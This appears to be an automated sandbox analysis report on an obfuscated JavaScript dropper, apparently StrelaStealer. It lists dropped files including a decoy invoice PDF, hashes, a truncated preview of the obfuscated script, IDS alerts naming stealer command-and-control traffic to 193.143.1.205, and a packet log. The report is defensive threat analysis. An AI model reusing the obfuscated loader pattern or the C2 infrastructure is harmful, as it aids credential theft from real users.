File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (14903), with CRLF line terminators
Entropy (8bit):	4.920085169071838
TrID:
File name:	1534283901292319457.js
File size:	18'335 bytes
MD5:	a95f0c2c34dd74f4896b363b27c76c95
SHA1:	bd526e83208a365442c9482fc073f6401d5f92a0
SHA256:	9d4142a57708fd7f6b4be2ca2bc0c70ae2ed9cf72f988d3f9d54ef8efeba453b
SHA512:	3c4d7a9e2f4b3990d3e736298e7e19e9ceaeb98e9ef394b401e87393adcbbe698b2d86eeffbecf960bf644fe214a32c1fc08ec1eec6ca8aebf96aac79773d7eb
SSDEEP:	384:yGkQMjDczdttShZauwb5as39nCglDMLVLtvMHG3I:yrQMczNMZauwNaQGtvMHG3I
TLSH:	078265827255E3CFABC536A9AFE7509E32AD43DF2E199630558569C2730C0F091E26FC
File Content Preview:	function fawbhx(){awdjjsxe=[1031,3079,5127,4103,2055,3072];var neexxeytg=this[tywgwhiu+ytsdqh+uwsnuy+umlyxz+bxapi+aannpuqp+puaruynv+keokl](this[qrcpmc+elxecg+xaujrsmv+uwsnuy+fjhpwj+tywgwhiu+keokl][zwetmsymf+uwsnuy+bxapi+ytsdqh+keokl+bxapi+xrbhfgr+yqvga+ql

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T07:37:31.079261+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49706	193.143.1.205	80	TCP
2025-01-11T07:37:31.079261+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.8	49706	193.143.1.205	80	TCP
2025-01-11T07:37:33.485044+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49707	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:37:30.240143061 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:30.245121002 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:30.245202065 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:30.267781019 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:30.272584915 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.079174995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.079197884 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.079230070 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.079243898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.079256058 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.079261065 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.079267025 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.079278946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.079291105 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.079303980 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.079320908 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.079322100 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.079336882 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.079363108 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.142771959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.142796993 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.142812014 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.142898083 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.188136101 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.200118065 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.200133085 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.200144053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.200156927 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.200181961 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.200226068 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.200385094 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.200396061 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.200417042 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.200428009 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.200428963 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.200442076 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.200491905 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.201220989 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.201234102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.201245070 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.201256990 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.201265097 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.201268911 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.201286077 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.201313019 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.202111959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.202130079 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.202141047 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.202153921 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.202171087 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.202171087 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.202193975 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.202892065 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.202934027 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.234064102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.263628960 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.263644934 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.263657093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.263668060 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.263839960 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.291632891 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.291683912 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.291697025 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.320878983 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.320919037 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.320955992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.320985079 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.321006060 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.321022987 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.321063995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.321108103 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.321118116 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.321156025 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.321191072 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.321213007 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.321412086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.321465969 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.321477890 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.321502924 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.321537971 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.321557999 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.321573973 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.321609020 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.321618080 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.322144032 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.322195053 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.322204113 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.322241068 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.322276115 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.322285891 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.322310925 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.322346926 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.322365999 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.322384119 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.322427988 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.323075056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.323127985 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.323163033 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.323172092 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.323198080 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.323235035 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.323242903 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.323270082 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.323307037 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.323319912 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.324058056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.324109077 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.324110985 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.324150085 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.324186087 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.324199915 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.324222088 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.324256897 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.324265957 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.324294090 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.324340105 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.324929953 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.325654030 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.325689077 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.325707912 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.325726032 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.325762033 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.325772047 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.354912043 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.355031013 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.384443998 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.384483099 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.384536982 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.384563923 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.384617090 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.384654045 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.384670973 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.384689093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.384725094 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.384737968 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.384759903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.384813070 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.412266016 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.412287951 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.412300110 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.412427902 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.441684008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.441770077 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.441781998 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.441823006 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.441857100 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.441874027 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.441893101 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.441930056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.441941023 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.441983938 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.442018986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.442033052 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.442056894 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.442107916 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.442260981 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.442315102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.442363977 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.442368031 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.442401886 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.442437887 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.442446947 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.442471027 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.442507029 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.442517996 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.443206072 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.443239927 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.443259001 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.443289995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.443334103 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.443365097 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.443401098 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.443434954 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.443444967 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.443471909 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.443516016 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.444164991 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.444219112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.444255114 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.444267988 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.444288969 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.444324970 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.444334030 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.444358110 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.444394112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.444399118 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.445100069 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.445152044 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.445152998 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.445188999 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.445221901 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.445240021 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.445255995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.445290089 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.445301056 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.445326090 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.445369005 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.446046114 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.446099043 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.446132898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.446149111 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.446166992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.446201086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.446211100 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.446234941 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.446269989 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.446280956 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.446938038 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.446986914 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.446990013 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.447026968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.447061062 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.447069883 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.447096109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.447129965 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.447141886 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.447165966 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.447211981 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.447869062 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.447921038 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.447971106 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.447973013 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.448009014 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.448043108 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.448061943 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.448077917 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.448113918 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.448128939 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.448893070 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.448926926 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.448939085 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.448961020 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.448997021 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.449007988 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.449688911 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.475894928 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.475946903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.475995064 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.476007938 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.476046085 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.476059914 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.476099968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.476145029 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.476155996 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.476191998 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.476227045 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.476242065 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.476259947 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.476294994 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.476308107 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.476330042 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.476366043 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.476376057 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.476398945 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.476433992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.476440907 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.476469994 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.476524115 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.503812075 CET	80	49706	193.143.1.205	192.168.2.8
